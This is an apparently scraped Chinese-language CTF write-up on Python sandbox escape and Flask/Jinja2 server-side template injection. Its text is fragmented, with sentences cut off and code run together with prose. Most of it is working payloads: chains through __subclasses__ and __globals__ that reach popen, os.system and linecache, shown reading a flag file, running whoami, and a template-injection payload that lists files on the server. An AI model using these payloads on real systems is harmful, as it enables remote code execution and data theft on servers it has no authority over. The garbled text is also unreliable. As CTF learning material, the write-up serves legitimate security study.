我們可以一個資料型態(ex: str, list, dict...),先透過繼承找到原object所在的class
利用__bases__
"".__class__.__bases__
[].__class__.__bases__
{}.__class__.__bases__
__mro__,因為__mro__是繼承鍊,想當然base class也會在裡面"".__class__.__mro__[-1]
[].__class__.__mro__[-1]
{}.__class__.__mro__[-1]
base class往下找能夠利用的derived class,大概像以下這樣"".__class__.__bases__[0].__subclasses__()
for迴圈幫助找們找到能利用的classfor i in enumerate("".__class__.__bases__[0].__subclasses__()):
print(i)
# 常見能用的如下
# (118, <class 'os._wrap_close'>)
# (165, <class 'warnings.WarningMessage'>)
import來讀檔案
class,我們就能夠利用popenfunction,做到Remote Control Execute
__init__將class instance,接著利用__globals__把popen拉出來, "".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']("type C:\\Users\\halloworld\\Desktop\\flag.txt").read()
# 'I am flag'
python2可以利用linecache
老樣子,我們看一下能利用classes
warnings中的linecache
for i in enumerate("".__class__.__mro__[-1].__subclasses__()):
print i
# (59, <class 'warnings.catch_warnings'>)
linecache能夠高效率的取得其他模組的原始碼,這時候我們試試看用他來import os
"".__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
# root
# 0
一個登入介面,題目又是跟Flask有關,合理推斷應該跟SSTI注入有關
先試試看url,結果甚麼事都沒發生
註冊個帳號,登入看看有甚麼額外功能
很像有個create card,感覺可以試試看注入,回到List Cards,真的可以耶
試著查看設定config
os._wrap_close()
167是他,結果發現可以RCE{{ "".__class__.__mro__[-1].__subclasses__()[167].__init__.__globals__['popen']("ls").read() }}